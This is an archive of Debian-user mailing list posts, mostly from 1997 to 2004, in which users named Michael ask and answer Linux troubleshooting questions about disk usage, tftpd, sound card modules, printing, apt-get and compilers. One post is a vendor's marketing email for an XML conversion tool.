Re: df returning inaccurate results

2003-02-23 Thread michael
On Monday 24 February 2003 01:26, Caitrin Torres wrote:
> I noticed today that df is not returning correct results. I saw that I was
> low on disk space so I deleted two files from my home directory that
> together were taking up nearly 1GB and then reran df. It returned the same
> numbers as from before I deleted files. To wit:
>
> $df -h
> FilesystemSizeUsedAvailUse%Mounted on
> /dev/hda5 2.8G1.8G939M 66% /
> /dev/hda7 10G 8.8G822M 92% /home
>
> What confuses me is that du returns a very different number which *does*
> reflect the fact that I've deleted files.
>
> $du -csh /home/*
> 7.9G/home/cait
> 7.9G/total
>
> What can be causing this?

I'd guess, that some process has the two files in question still open.
Then, when deleting the files, only the corresponding directory-entry will 
vanish.
Only when the process closes the file, the data (which occupies the space) 
vanishes too.
Thus df returns the accurate results, whereas du has no chance to see and 
count
the files and their sizes.

HTH, Michael


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: tftpd

2003-03-29 Thread Michael
Did you create "tftpboot" in the root directory and give appropriate
permissions?  If not then do so and restart inetd by issuing "inetd stop"
then "inetd start".  

The tftp deamon uses /tftpboot directory when transfering files to and from 
the server/workstation.  The only thing you should have to do is uncoment 
the tftp line in inetd.conf in the etc directory.  tftp waits in the 
background 
for a request and will only be active when a request is received.  Once 
the processes completes, tftp stops.  If want to ensure that the inetd process
is running simply issue "reboot" as root and your machine will reboot.

If you enter "ps -ef | grep tftp" you will not see it active UNLESS you are
actually transfering files.  Then and ONLY then will you see the tftp process.

Michael



On Wed, 12 Mar 2003 18:10:23 +0100 Jianbo Wang <[EMAIL PROTECTED]> 
wrote:

> Hi,
> 
> I cannot start tftpd. I try tftpd and atftpd, but they fail.
> For tftpd, in syslog it said:
> tftpd[701]: recvfrom: Socket operation on non-socket
> For aftpd, in syslog it said:
>  tftpd[777]: atftpd: can't bind port. My /etc/inetd.conf is like:
> tftpdgram   udp waitnobody /usr/sbin/tcpd
> /usr/sbin/in.tftpd --tftpd-timeout 300 --retry-timeout 5 --mcast_port
> 1753 --mcast_addr 146.252.71.0-255 --maxthread 100 --verbose=5  /tftpboot
> 
> In /etc/services
> tftp69/udp
> 
> Is it caused by disabled port 69? Nay clue? Thanks!
> 
> Regards!
> 
> Jianbo
> 
> 
> -- 
> To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
> with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
> 


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Desktop Performance Issue (FIXED)

2002-12-27 Thread Michael
You guys hooked me up. I entered the following hdparm command:

hdparm -X34 -d1 -u1 -m16 -c3 /dev/hda

Not only are problems resolved but system in general runs much quicker
and is more responsive. Hdparm is now running at startup!! Thanks all for
you help with this one. Wish I'd of asked a long time ago.

Michael




On Fri, 27 Dec 2002 09:40:11 -0700, "Michael Evaniuck"
<[EMAIL PROTECTED]> said:
> I have been running Debian intermitantly since 2.2 was out. There is
> nothing I would like more to standardize on this distro but there is one
> issue I can not seem to get over. Hopefully one of you good people can
> assist me on this.
> 
> If I run am running Debian and attempt to run multiple applications at
> the same time performance degrades a lot. For example if I am playing an
> MP3 on XMMS and while playing it run Mozilla the MP3 cuts out while it is
> loading. I have noticed this happens on some other distros but to a much
> lesser extent. On Gentoo this does not happen at all but I do not have
> the time to spend compiling all my software. Redhat/Mandrake it happens
> but not nearly as bad. Debian gives me the worst performance of two
> applications. Surprisingly Windows 98/2K/XP this does not happen at all
> and you can not tell me M$ multitasks better then Linux!! This happens in
> either KDE, Gnome, or Windowmaker. My system is as follows:
> 
> Duron 800mhz
> 256MB RAM
> NVidea TNT2 (32MB) Graphics Card
> Ensoniq Sound Card
> 
> BTW - I borrowed a 1.3Ghz processor and put in 512MB RAM and saw no
> difference.
> 
> 
> Michael 
> 
> 
> -- 
> To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
> with a subject of "unsubscribe". Trouble? Contact
> [EMAIL PROTECTED]
> 
> 


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Gnome shutdown configuration question

2003-01-03 Thread Michael
I am running SID/Gnome2 but had the same problem with Stable running 1.4.
If I am running a Gnome Session of either version and am logged in as
root and select "Log Out" from the menu I am prompted with a menu with
three radio buttons (Logout, Restart, and Shutdown the Computer). When I
try the Log Out when a regular user is logged in I get a different menu
that just asks if I would like to Log Out. I do not get the other
options. Does anyone know what I need to change to allow regular users
use that same "Log Out" in gnome but be able to shutdown as root can.

I know I can just logout to GDM and the shutdown or do it from a command
prompt but I would prefer to Shutdown from within Gnome.

Any info would be appreciated.

Michael


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Re: network

2003-01-06 Thread Michael
You can not connect a ethernet controller and a modem together. They are
two different protocols and can not talk. You can pickup an ethernet card
for your P3 based PC though and connect a cat5 crossover cable between
them.


Mike

On 7 Jan 2003 03:33:06 -, "rahul  i" <[EMAIL PROTECTED]> said:
> sir,
> i have a p1 166 mhz with 16 mb ram and realtek RTL8029 ethernet 
> adapter
> card installed init(pci slot). i am using windows95 as my os with 
> this system.
> also i have another pc p3 750 with 192 mb ram and with a motorola 
> sm56 internal modem. i an using windows98 and redhat linux 7.3 as 
> the os in that system.
> my problem is how can i connect these two system with the two 
> cards(ie.,
> a realtek RTL8029 ethernet adapter card and a motorol sm56 
> internal modem). what type of cable i can use to connect these 
> systems.
> please help me.
> waiting fo u'r reply.
> 
> 
> -- 
> To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
> with a subject of "unsubscribe". Trouble? Contact
> [EMAIL PROTECTED]
> 
> 


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Meaningful XML Conversion from Word, RTF, HTML, Text and PDF?

2003-01-10 Thread michael
Hi,

Are you looking for ways to improve how you convert existing content into XML? 
The CambridgeDocs xDoc Converter allows users to convert existing documents (Microsoft 
Word, RTF, HTML, PDF, Text, etc) into meaningful XML documents ( e.g. DocBook, 
HRXML, RIXML, IRXML, FPML, DAS-XML, NewsML, any custom schemas/DTD’s, etc.).

>From a recent Google search I've noticed your involvement with XML, and am sure 
that you understand its power.  I also suspect that you've had some very creative 
ideas on how to employ XML and its related technologies for great impact, and 
that you are also aware of the complexities of any project that attempts to convert 
legacy content into meaningful XML.

Unlocking legacy content for meaningful use in any project can be a very significant 
problem.  The xDoc XML Converter from CambridgeDocs allows organizations to do 
exactly that.  By providing a development environment specifically tailored to 
map contextual content to meaningful DTDs and XML Schemas, and a powerful 
transformation 
engine that can scale from a single to thousands of documents in a batch, the 
xDoc XML Converter becomes an essential tool in any XML conversion process.

I'd like to direct your attention to 2 items that may be of interest to you. 
 One is a free white paper, "Transforming Unstructured Content into Meaningful 
XML."  I'd also invite you to learn more about CambridgeDocs and to download 
the fully functional evaluation version of the xDoc XML Converter from CambridgeDocs. 
 Our white paper is online at www.cambridgedocs.com/id16.htm?497 and the xDoc 
Converter is available at www.cambridgedocs.com/id40.htm?497.

Please feel free to contact me directly with any questions.

Best regards,

Michael


Michael Bronder
Product Manager, CambridgeDocs
www.cambridgedocs.com
[EMAIL PROTECTED]
office: 617-241-5959


--- If you would like me not to stay in touch regarding other XML related news 
or information, please let me know, and I'll be happy to remove you from my address 
book.  Thanks.


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




Kernel Panic

2003-01-14 Thread Michael
I am having an issue with my SID install. Every once in a while I boot up
and during system bootup I get a kernel panic. I then reboot and all is
fine, at least for the next week or so. I also dual boot into Redhat and
this does not happen on that installation. This is the message on the
screen when this happens:

HCNT = 0x0
SCSISEQ = 0x0, SBLKCTL =0x0
DFCNTRL = 0x0, DFSTATUS = 0x0
LASTPHASE = 0x1, SCSISIGI = 0x0, SXFRCTL0 = 0x0
SSTAT0 == 0x0, SSTAT1 = 0x8
STACK == 0x17, 0x0, 0x0, 0x0
SCB Count  = 4
Card NextQSB = 3
Card Entries: 3 2
QinFIFO entries: 3 2
Waiting Queue Entries: 0:255 1:255 2:255 3:255 4:255 5:255 6:255 7:255
8:255 9:255 10:255 11:255 12:255 13:255 14:255 15:255
Disconnected Queue Entries: 0:255 1:255 2:255 3:255 4:255 5:255 6:255
7:255 8:255 9:255 10:255 11:255 12:255 13:255 14:255 15:255
QOUTFIFO entries
Sequencer FreeSCB List: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Pending List : 2
Kernel Free SCBlist: 1 0
untagged Q(1): 2
Dev Q(0:1:0): 0 waiting
gin pos = 0, SCB index = 3
Kernel Panic: Loop 1

Then after a period of a few minutes a message comes up saying:

Spurious 8259A interupt: IRQ7

My system is as follows:

Duron 800mhz
256Mb RAM
Nvidia Riva TNT2 Graphics Card
Ensoniq Sound Card
Adaptec 2940 SCSI controller ( controls two CDROM devices)
IDE Hard drives


If anyone can give me any insight into what is happening I would greatly
appreciate it. I suspect a SCSI problem but I don't think I am having
hardware issues because other OS's on the system are running fine.

Mike


-- 
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]




re: Kernel 2.2.10 and Stallion Brumby 4 port serial card

1999-08-24 Thread Michael

I have a Stallion Brumby Multiport intelligent serial card. 4 port model. I
had this card working fine under 2.0.x series of kernels, and had it
compiled in as part of the kernel. I followed the info in the readme's for
the card, and edited /usr/src/linux-`kernel version`\char\istallion.c to
point to the io and memory address of the card.

Anyways the problem is, when using 2.2.10 kernel, doing the same steps and
editing the correct file, and then compiling the card in as part of the
kernel, the system at boot time with the new kernel never finds the card.

Anyone got this problem, and if so, did the get the card working.

I have a Stallion EASYIO card which is non-intelligent and it also has the
same problem.

Those that can help, feel free to email me directly, as I am not part of the
list.

Thanks


apt-get newbie question

1999-09-30 Thread michael
Hi,

I decided to upgrade my slink box to potato tonight, using apt-get
(0.3.10) for the first time, but I've gotten stuck:

My /etc/apt/sources.list consists of one line:

deb http://http.us.debian.org/debian unstable main contrib non-free

I first ran "apt-get update", which seemed to work fine.

Then, I ran "apt-get -f dist-upgrade", which is where things went
awry: apt-get appeared to download a good number of packages
successfully before coughing up 404 Not Found errors for dpkg-ftp,
lilo, dhcpcd, gdb, info, man-db, libgpmg, gpm, dhcpcd, and
nfs-server. Then, apt-get just quit, suggesting I try --fix-missing.

So I believe I understand what the 404 errors mean -- the files that
apt-get is trying to get simply don't exist -- but what I don't
understand is if I'm doing something wrong that's causing these
errors.

Am I correct in assuming that the Packages list created by "apt-get
update" is somehow out of sync with what's actually on
http.us.debian.org? Or is there something else I'm missing? More to
the point, what can I do to workaround this problem? Try another
mirror?

Thanks in advance,
Michael


potato acroread won't run

1999-10-07 Thread michael
Hi,

I just installed the acroread package from unstable by using
apt-get. Now, when I try to run acroread, I see these warnings and
errors:

Warning: locale not supported by C library, locale unchanged
Warning: locale not supported by Xlib, locale set to C
Warning: X locale modifiers not supported, using default
Fatal System Error: Raise at top of Exception Stack
Aborted

I couldn't find anything in /usr/doc/acroread to help me figure out
what's going wrong.

Trying to make sense of the warnings, I checked to see that I had the
locales package installed, which I do (version 2.1.2-5). Now, I'm out
of ideas. Can anybody point me in the right direction?

Thanks,
Michael


Slink installation freeze -- Ultra ATA/66 to blame?

1999-10-16 Thread michael
Hi,

I'm trying to install Slink from CD on my new computer. Booting from
the CD-ROM starts out fine, until it gets to the md driver (which is
for RAID, I believe?), at which point, the computer freezes. When the
md driver line first appears on the screen, I can hear the hard disk
spinning up and then it comes to a halt.

The computer is an AMD Athlon 550 MHz with a 7200 RPM Ultra ATA/66
hard drive; the manual for the motherboard states that its AMD 756
Viper chipset has an IDE controller that supports Ultra ATA/66.
I've been reading the recent postings regarding Ultra ATA/66 drives
and, given the fact that the md driver seems to be the sticking point, 
I'm guessing that the hard drive is the crux of the problem. Beyond
that, I'm clueless.

I went into the BIOS and explicitly disabled UDMA on the device, and
the computer still fails to boot.

I just read in the Ultra-DMA Mini-Howto that "the old stock kernels
(2.0.x) do not currently support UDMA very well," a statement that I
assume applies to Slink. Is this my problem?  If so, is there anything
I can do to circumvent it? I want to upgrade to Potato anyway. Short
of ordering a Potato CD from linux-cd.com, is there anyway I can get
this to work?

Thanks in advance,
Michael


linux and the brother hl-630

1998-05-05 Thread Michael
anyone using subj. ?

i cant get it working - with magicfilter.

when i use the laserjetplus filter it prints fine - one page and then the
printer stops.. (the data lamp doesn't turn of)

[EMAIL PROTECTED]
 badpixel of bad sector
[EMAIL PROTECTED]


--
To UNSUBSCRIBE, email to [EMAIL PROTECTED]
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]


Various configuration issues

1997-11-29 Thread Michael
Hello,

I purchased Debian 1.3 a couple of weeks ago (with donation) and I
installed once already.  I mucked things up a little and reinstalled. 
My first linux was SLS, then Slackware, then Redhat, and now Debian.  I
like the Debian philosophy so I'm going to stay with it.

My first configuration issue is installing Netscape Communicator.  On my
previous install I used netscape's install script but I'd like to do it
via dpkg so the software will be registered with the system.

I already have the communicator tar file, I need a .deb file and
instructions on how to make dpkg install it.

The second thing I'd like is to be able to mount my DOS vfat drives
(/mnt/c /mnt/d) so that user michael has rwx permission for the drives. 
I want to do this so that when I run netscape I can configure it to use
my Win95 Netscape files.  Does that work?

The third thing is that when I run pon as root everything is fine.  But
when I run it as michael I get permission denied on two of the /etc/ppp
scripts.  I think it is the out script and the chat script.  I did add
michael to PID in the /etc/groups file(pid:x:michael or something like
that, does x mean no password?)

And lastly, I need a program that lets me adjust my XFConfig file while
the server is running (S3 805 chip).  I need to adjust my screens
diminsions a little because when I adjust it via monitor controls it
mucks up some of the Win95 adjustments.


--
TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to
[EMAIL PROTECTED] . 
Trouble?  e-mail to [EMAIL PROTECTED] .


pon permission problems

1997-12-01 Thread michael
The pon command works from the root account but not from the 'michael'
user account (mine's a single user system).  Michael is a member of
group pid and dialout.

When michael executes pon the system issues the following complaint:

You do not have permissions to access /etc/ppp.chatscript or
/etc/ppp.options_out

ls -l on ppp.chatscript:

-rw---   1 root root  235 Nov 27 11:54
/etc/ppp.chatscript

ls -l on ppp.options_out:

-rw---   1 root root  108 Nov 27 12:01
/etc/ppp.options_out

Clearly these files have the wrong permissions or owners.  Which is it?

PS.  I had installed Netscape Communicator vis dpkg (took a while to get
the tar file named correctly).  However, I didn't like the setup because
it wouldn't run as root.  So I deinstalled via dpkg then used the
netscape install script.  Any problems with that?

PPS.  I installed the jdk stuff via dpkg as well.  It took a while to
figure out why Netscape was exiting by itself.  I thought Java was
included with it, why isn't it and why does it crash without it (because
I've got Java module support installed in the kernel?)?


--
TO UNSUBSCRIBE FROM THIS MAILING LIST: e-mail the word "unsubscribe" to
[EMAIL PROTECTED] . 
Trouble?  e-mail to [EMAIL PROTECTED] .


Re: print to a Windows machine's printer

2004-11-19 Thread michael
Pascal Bonesh wrote:

Hi Michael,
to make this a bit more verbose:
-point your browser to http://localhost:631, that's the cups
administration
-click on 'printers', then click on 'add printer'
-give it a name and such and click next
-choose 'Windows Printer via Samba'
-write the URI in the field - that's something like:
smb://user:[EMAIL PROTECTED]/server/sharename
of course user means your username for windows which shares the printer,
pass is the password, the rest should be clear and can be seen in the
system thingy in the win control panel
-choose the printer and driver
of course samba and cups need to be installed and the printer of the
windows box needs to be supported by cups
pascal
And from the CUPS manual pages it implies it has to be a WinNT box off
which the printer is hanging! So I'm currently awaiting info on where
there is such a box on my network before I can progress this. (It sounds
much easier just to buy a laser and put on my Debian box but will it be
supported if it's a PostScript printer but not listed on the linux printer
page (not got the URL to hand)?)
Ta, M

IMHO it works from WinNT on up. I tried it on a XP machine at work with
a supported printer (postscript) and it worked out of the box.
Just try it - if you get the URI right then it should work.
pascal
okay, now this time I am being really thick: when I try and use said (ie 
the admin) interface it asks for a username/password but it's not my 
login (& I'm reluctant to type in the root info!) so what is it?

--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Creative SoundBlaster Live! - how to get it working?

2004-11-19 Thread michael
John covici wrote:
You should do a lspci -v and make sure you really have a sound blaster
live -- it should tell you its identity.  If you can't modprobe
emu10k1, my guess is that you do not have that chip.
Interesting! That comes up with
:04:04.0 Multimedia audio controller: Creative Labs SB Audigy LS
Subsystem: Creative Labs: Unknown device 1006
Flags: bus master, medium devsel, latency 64, IRQ 21
I/O ports at e480 [size=32]
Capabilities: [dc] Power Management version 2
But I saw the guy put the card in and the box here definitely says 
''Sound Blaster Live! 24 bit'' all over it

Make sure its the correct version for the kernel as well.
Mmmm. how do I check that?
Cheers, Michael
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Creative SoundBlaster Live! - how to get it working?

2004-11-19 Thread michael
robin wrote:
> michael wrote:
>
>> robin wrote:
>>
>>> michael wrote:
>>>
>>>> robin wrote:
>>>>
>>>>> michael wrote:
>>>>>
>>>>>> michael wrote:
>>>>>>
>>>>>>> robin wrote:
>>>>>>>
>>>>>>>> michael wrote:
>>>>>>>>
>>>>>>>>> I've looked but can't find anything that definitely explains 
this, so...
>>>>>>>>>
>>>>>>>>> I have a new Creative SoundBlaster Live! 24 bit sound card in 
my machine (dual Xeon box). The card works - heard it when booted WinXP. 
However, I can make no headway on getting sounds from it when I boot in 
to my Linux
>>>>>>>>> partition. I have done a 'apt-get install alsa' but that 
doesn't seem to have changed anything. All solutions are most welcome! 
And here's what I
>>>>>>>>> believe is sufficient information for people to answer this 
for me! TIA.
>>>>>>>>>
>>>>>>>>> [EMAIL PROTECTED]:~$ uname -a;sudo lsmod
>>>>>>>>> Linux ratty 2.4.27-1-686-smp #1 SMP Fri Sep 3 06:34:36 UTC 
2004 i686 GNU/Linux
>>>>>>>>> Module  Size  Used byNot tainted
>>>>>>>>> floppy 52184   0  (autoclean)
>>>>>>>>> soundcore   4420   0  (autoclean)
>>>>>>>>> input   3872   0  (autoclean)
>>>>>>>>> lp  6916   0
>>>>>>>>> parport27944   0  [lp]
>>>>>>>>> af_packet  14472   1  (autoclean)
>>>>>>>>> uhci   27100   0  (unused)
>>>>>>>>> hw_random   2876   0  (unused)
>>>>>>>>> i810_rng2788   0  (unused)
>>>>>>>>> ehci-hcd   18924   0  (unused)
>>>>>>>>> usbcore65804   1  [uhci ehci-hcd]
>>>>>>>>> ide-scsi   10192   0
>>>>>>>>> scsi_mod   97732   1  [ide-scsi]
>>>>>>>>> e1000  68844   1
>>>>>>>>> ide-cd 31328   0
>>>>>>>>> cdrom  30080   0  [ide-cd]
>>>>>>>>> rtc 7112   0  (autoclean)
>>>>>>>>> ext3   84748   7  (autoclean)
>>>>>>>>> jbd46200   7  (autoclean) [ext3]
>>>>>>>>> ide-detect   288   0  (autoclean) (unused)
>>>>>>>>> piix9128   2  (autoclean)
>>>>>>>>> ide-disk   16960   8  (autoclean)
>>>>>>>>> ide-core  112184   8  (autoclean) [ide-scsi 
ide-cd ide-detect piix ide-disk]
>>>>>>>>> unix   16784 221  (autoclean)
>>>>>>>>> [EMAIL PROTECTED]:~$
>>>>>>>>>
>>>>>>>>>
>>>>>>>> Hi
>>>>>>>>
>>>>>>>> Try running alsaconf to set up the alsa sound modules.
>>>>>>>>
>>>>>>>> Robin
>>>>>>>>
>>>>>>>>
>>>>>>> That comes up with:
>>>>>>> No supported PnP or PCI card found.
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>>
>>>>>> I should also have said the console gets the message:
>>>>>> [EMAIL PROTECTED]:/usr/src$ sudo alsaconf
>>>>>> modinfo: snd: no module by that name found
>>>>>> modinfo: snd: no module by that name found
>>>>>> modinfo: snd: no module by that name found
>>>>>>
>>>>>>
>>>>> Not sure which module it is so check 
http://www.alsa-project.org/alsa-doc/  soundcard matrix and then
>>>>> e.g.
>>>>>
>>>>> modprobe  snd-ens1371
>>>>>
>>>>> replacing, if necessary, snd-ens1371 with the correct module.
>>>>> If there are any error messages post them here.
>>>>> A

std out & std err

2004-11-19 Thread michael
I have a problem understanding why, when attempting to configure mpich 
under the 2.4.27-1-686-smp kernel using bash shell, that I lose my std 
output when I enter (all on the same line)"

./configure --prefix=/usr/local/mpich/mpich-1.2.6/ifc-ch_p4 > config.log 
2>&1

This is my standard way of doing things and it's worked fine on RedHat 
and IRIX boxes. Indeed, a simple example gives the behaviour I expect:

$ (date; date -s) > config.log 2>&1;cat config.log
Fri Nov 19 13:01:28 GMT 2004
date: option requires an argument -- s
Try `date --help' for more information.
I do note that the first line of the configure script is
#! /bin/sh
but I believe that should not effect the std out|err of my command line
Ideas anybody??
Thanks, Michael
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: std out & std err

2004-11-19 Thread michael
michael wrote:
I have a problem understanding why, when attempting to configure mpich 
under the 2.4.27-1-686-smp kernel using bash shell, that I lose my std 
output when I enter (all on the same line)"

./configure --prefix=/usr/local/mpich/mpich-1.2.6/ifc-ch_p4 > config.log 
2>&1

This is my standard way of doing things and it's worked fine on RedHat 
and IRIX boxes. Indeed, a simple example gives the behaviour I expect:

$ (date; date -s) > config.log 2>&1;cat config.log
Fri Nov 19 13:01:28 GMT 2004
date: option requires an argument -- s
Try `date --help' for more information.
I do note that the first line of the configure script is
#! /bin/sh
but I believe that should not effect the std out|err of my command line
Indeed, just checked on a RedHat 9 box and the final contents of the 
./configure cmd are as expected (ie not the same as on this Debian box)...

Michael
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: debian architectures

2004-11-19 Thread michael
Kevin B. McCarty wrote:
Mauro Darida wrote:

I cannot quite understand which machines debian "architectures" are
referring to. Of course I know that x-86 are common pcs, sparc are sun
workstations, but others are quite cryptic to me. Anyone willing to
translate into non-developer language??

Here's a list off the top of my head.  Presumably others will add to and
correct it.
* alpha - Digital (DEC) workstations, usually originally running VMS,
although there was a Windows NT port to this for a while.  Pretty much
legacy-only now.
* arm - Includes a lot of embedded systems like routers, some PDAs (e.g.
Sharp's Zaurus).
* ia64 - Intel's 64-bit Itanium series of workstations.  Not doing too
well in the marketplace.
* m68k - Motorola 680x0 chips: Ancient Apple computers, Amigas, VME
crate controllers, embedded systems, ...
* powerpc - IBM's PowerPC chips: Modern Apple computers, some IBM
workstations (usually originally running AIX, I think?)
* s390 - IBM's mainframes: "big iron."
* mips, mipsel, hppa - These I'm not too clear on.
MIPS chips are in the SGI Origin boxes (usually running IRIX) and even 
in your PlayStation! But SGI have now moved to Intel IA64 chips in their 
 boxes so I'm not sure how much longer MIPS chips will be about. But my 
SGI O2 does look nice ;)

Michael
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: Creative SoundBlaster Live! - how to get it working?

2004-11-20 Thread michael
Chris Metzler wrote:
*Please* trim the replies folks.
As far as your problem . . .
On Thu, 18 Nov 2004 16:18:22 +
michael <[EMAIL PROTECTED]> wrote:
Okay, it seems to be module emu10k1 that I require but I get:
[EMAIL PROTECTED]:/usr/src$ sudo modprobe emu10k1
/lib/modules/2.4.27-1-686-smp/kernel/drivers/sound/emu10k1/emu10k1.o: 
init_module: No such device
Hint: insmod errors can be caused by incorrect module parameters, 
including invalid IO or IRQ parameters.
  You may find more information in syslog or the output from dmesg
/lib/modules/2.4.27-1-686-smp/kernel/drivers/sound/emu10k1/emu10k1.o: 
insmod 
/lib/modules/2.4.27-1-686-smp/kernel/drivers/sound/emu10k1/emu10k1.o
failed/lib/modules/2.4.27-1-686-smp/kernel/drivers/sound/emu10k1/emu10k
1.o: insmod emu10k1 failed

This machine of yours doesn't happen to be a Dell, does it?  Can you
please supply the output of "lspci -n"?
(yes, this is relevant)
-c
 here we go:[EMAIL PROTECTED]:~/Fortran/MPI$  lspci -n
:00:00.0 0600: 8086:3592 (rev 0a)
:00:00.1 ff00: 8086:3593 (rev 0a)
:00:02.0 0604: 8086:3595 (rev 0a)
:00:03.0 0604: 8086:3596 (rev 0a)
:00:1c.0 0604: 8086:25ae (rev 02)
:00:1d.0 0c03: 8086:25a9 (rev 02)
:00:1d.1 0c03: 8086:25aa (rev 02)
:00:1d.4 0880: 8086:25ab (rev 02)
:00:1d.5 0800: 8086:25ac (rev 02)
:00:1d.7 0c03: 8086:25ad (rev 02)
:00:1e.0 0604: 8086:244e (rev 0a)
:00:1f.0 0601: 8086:25a1 (rev 02)
:00:1f.1 0101: 8086:25a2 (rev 02)
:00:1f.2 0101: 8086:25a3 (rev 02)
:00:1f.3 0c05: 8086:25a4 (rev 02)
:04:02.0 0300: 1002:4752 (rev 27)
:04:03.0 0200: 8086:1076 (rev 05)
:04:04.0 0401: 1102:0007
(whatever all that means!)
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: time out

2004-11-20 Thread michael
michael wrote:
I can't see any discussion on this list of the merits (or otherwise!) of
timeoutd or autolog (or better equivalent)... thoughts?
Michael running on
 2.4.27-1-686-smp #1 SMP Fri Sep 3 06:34:36 UTC 2004 i686 GNU/Linux
Actually autolog doesn't do what it claims. I logged in to a console 
(alt-F2) and left it overnight, doing nothing, and never got logged out...

--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: time out

2004-11-22 Thread michael
Andrea Vettorello wrote:
On Sat, 20 Nov 2004 13:59:33 +, michael
<[EMAIL PROTECTED]> wrote:
michael wrote:
I can't see any discussion on this list of the merits (or otherwise!) of
timeoutd or autolog (or better equivalent)... thoughts?
Michael running on
2.4.27-1-686-smp #1 SMP Fri Sep 3 06:34:36 UTC 2004 i686 GNU/Linux
Actually autolog doesn't do what it claims. I logged in to a console
(alt-F2) and left it overnight, doing nothing, and never got logged out...

Do you want your user to automatically logout if idle after a certain
amount of time?
yes
--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



intel compiler not finding (system) header files

2004-11-22 Thread michael
Folks, on my Debian dual-Xeon box, I have tried to install the Intel 
C/C++ compiler (ifc). I have followed Intel's instructions in "Platform 
Notes: Using Intel C++ Compiler on Unsupported Operating Systems". (This 
was essentially using 'alien' to convert rpm->deb, then dpkg and then 
sed INSTALLDIR to the name of the actual install directory for all .sh 
scripts)

However, when I try to compile code that has usual C++ headers in (eg 
"#include ") it fails to find them.

I presume it's not looking in the default system libraries...
Ideas?
Thanks, Michael
(tried to search past postings but keep getting timed out when 
attempting to access lists.debian.org)

--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: intel compiler not finding (system) header files

2004-11-22 Thread michael
(more at end)
 Original Message 
Subject: intel compiler not finding (system) header files
Resent-Date: Mon, 22 Nov 2004 10:56:32 -0600 (CST)
Resent-From: [EMAIL PROTECTED]
Date: Mon, 22 Nov 2004 16:55:49 +
From: michael <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Folks, on my Debian dual-Xeon box, I have tried to install the Intel
C/C++ compiler (ifc). I have followed Intel's instructions in "Platform
Notes: Using Intel C++ Compiler on Unsupported Operating Systems". (This
was essentially using 'alien' to convert rpm->deb, then dpkg and then
sed INSTALLDIR to the name of the actual install directory for all .sh
scripts)
However, when I try to compile code that has usual C++ headers in (eg
"#include ") it fails to find them.
I presume it's not looking in the default system libraries...
Ideas?
Thanks, Michael
(tried to search past postings but keep getting timed out when
attempting to access lists.debian.org)
NEW: note that I can compile code with such #include if I use g++ 
(therefore it's a prob to do with icc?)

--
To UNSUBSCRIBE, email to [EMAIL PROTECTED] 
with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]



Re: intel compiler not finding (system) header files

2004-11-22 Thread michael
michael wrote:
(more at end)
 Original Message 
Subject: intel compiler not finding (system) header files
Resent-Date: Mon, 22 Nov 2004 10:56:32 -0600 (CST)
Resent-From: [EMAIL PROTECTED]
Date: Mon, 22 Nov 2004 16:55:49 +
From: michael <[EMAIL PROTECTED]>
To: [EMAIL PROTECTED]
Folks, on my Debian dual-Xeon box, I have tried to install the Intel
C/C++ compiler (ifc). I have followed Intel's instructions in "Platform
Notes: Using Intel C++ Compiler on Unsupported Operating Systems". (This
was essentially using 'alien' to convert rpm->deb, then dpkg and then
sed INSTALLDIR to the name of the actual install directory for all .sh
scripts)
However, when I try to compile code that has usual C++ headers in (eg
"#include ") it fails to find them.
I presume it's not looking in the default system libraries...
Ideas?
Thanks, Michael
(tried to search past postings but keep getting timed out when
attempting to access lists.debian.org)
NEW: note that I can compile code with such #include if I use g++ 
(therefore it's a prob to do with icc?)


Not sure if this is relevant but:
[EMAIL PROTECTED]:~/src/l_cc_p_8.1.021$ /lib/libc.so.6;ls -lt 
/lib/libc.so.6;ls -lt /lib/libc-2.3.2.so
bash: /lib/libc.so.6: Permission denied
lrwxrwxrwx  1 root root 13 2004-11-11 18:34 /lib/libc.so.6 -> libc-2.3.2.so
-rw-r--r--  1 root root 1244080 2004-10-13 20:40 /lib/libc-2.3.2.so

